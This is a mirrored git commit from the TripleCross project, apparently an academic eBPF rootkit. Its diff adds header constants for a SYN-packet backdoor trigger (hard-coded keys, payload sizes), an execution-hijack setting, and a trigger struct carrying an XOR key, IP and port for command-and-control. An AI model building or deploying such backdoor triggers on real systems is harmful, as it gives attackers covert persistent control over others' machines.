mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-25 19:03:07 +08:00
Included new version of custom lib. Added checks for backdoor triggering
This commit is contained in:
@@ -7,5 +7,13 @@
|
||||
#define CC_PROT_FIN_PART "CC_FIN"
|
||||
#define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
|
||||
|
||||
//C&C V1 -- bpv47-like trigger
|
||||
#define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_1 "\x56\xA4"
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_2 "\x78\x13"
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_3 "\x1F\x29"
|
||||
#define CC_TRIGGER_SYN_PACKET_SECTION_LEN 0x02
|
||||
|
||||
|
||||
|
||||
#endif
|
||||
@@ -20,6 +20,6 @@
|
||||
|
||||
//EXECUTION HIJACKING
|
||||
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
|
||||
|
||||
#define EXEC_HIJACK_ACTIVE_TEMP 0
|
||||
|
||||
#endif
|
||||
14
src/common/protocol.h
Normal file
14
src/common/protocol.h
Normal file
@@ -0,0 +1,14 @@
|
||||
#ifndef __PROTOCOL_H
|
||||
#define __PROTOCOL_H
|
||||
|
||||
struct trigger_t {
|
||||
unsigned char xor_key;
|
||||
unsigned int ip;
|
||||
short unsigned int port;
|
||||
unsigned char pad1;
|
||||
short unsigned int pad2;
|
||||
short unsigned int crc;
|
||||
};
|
||||
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user